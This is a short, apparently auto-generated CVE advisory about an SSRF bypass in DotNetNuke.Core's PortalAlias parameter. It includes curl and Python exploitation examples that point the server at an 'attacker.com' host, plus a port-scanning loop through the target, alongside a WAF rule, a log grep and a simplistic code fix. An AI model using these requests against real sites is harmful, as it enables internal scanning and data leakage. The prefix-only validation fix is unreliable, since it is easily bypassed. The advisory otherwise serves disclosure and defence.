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How the CVE Works
The vulnerability in DotNetNuke.Core (DNN) arises due to insufficient validation of user-supplied URLs in HTTP requests. Attackers exploit this by crafting malicious requests that trick the server into fetching arbitrary external or internal resources. The bypass for CVE-2017-0929 allows unauthenticated attackers to manipulate the `PortalAlias` parameter, forcing the server to initiate GET requests to attacker-controlled domains or internal systems. Since responses are not fully returned to the attacker (semi-blind SSRF), exploitation focuses on side-channel attacks, such as internal port scanning or triggering interactions with restricted backend services.
DailyCVE Form
Platform: DotNetNuke.Core
Version: <9.4.0
Vulnerability: SSRF Bypass
Severity: Moderate
Date: 2025-04-09
What Undercode Say:
Exploitation Commands:
1. Crafting Malicious Request:
curl -X GET "http://target.com/Default.aspx?PortalAlias=http://attacker.com/exfil"
2. Internal Port Scanning (Blind SSRF):
for port in {80,443,8080}; do curl -s "http://target.com/Default.aspx?PortalAlias=http://127.0.0.1:$port"; done
Detection & Mitigation:
1. Patch: Upgrade to DNN Platform ≥9.4.0.
2. WAF Rule to Block SSRF:
location /Default.aspx {
if ($args ~ "PortalAlias=http://") { return 403; }
}
3. Log Analysis for Exploitation Attempts:
grep "PortalAlias=http://" /var/log/nginx/access.log
Proof-of-Concept (PoC) Code:
import requests
target = "http://victim.com/Default.aspx"
payload = {"PortalAlias": "http://attacker.com/leak"}
requests.get(target, params=payload)
Mitigation via Code Fix:
// Validate PortalAlias to prevent SSRF
if (PortalAlias.Contains("http://") || PortalAlias.Contains("https://")) {
throw new SecurityException("Invalid PortalAlias");
}
Additional Analytics:
- Exploitability: Low complexity, no auth required.
- CVSS Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).
- Observed Attacks: Mass scanning for vulnerable DNN instances.
References:
Reported By: https://github.com/advisories/GHSA-3f7v-qx94-666m
Extra Source Hub:
Undercode
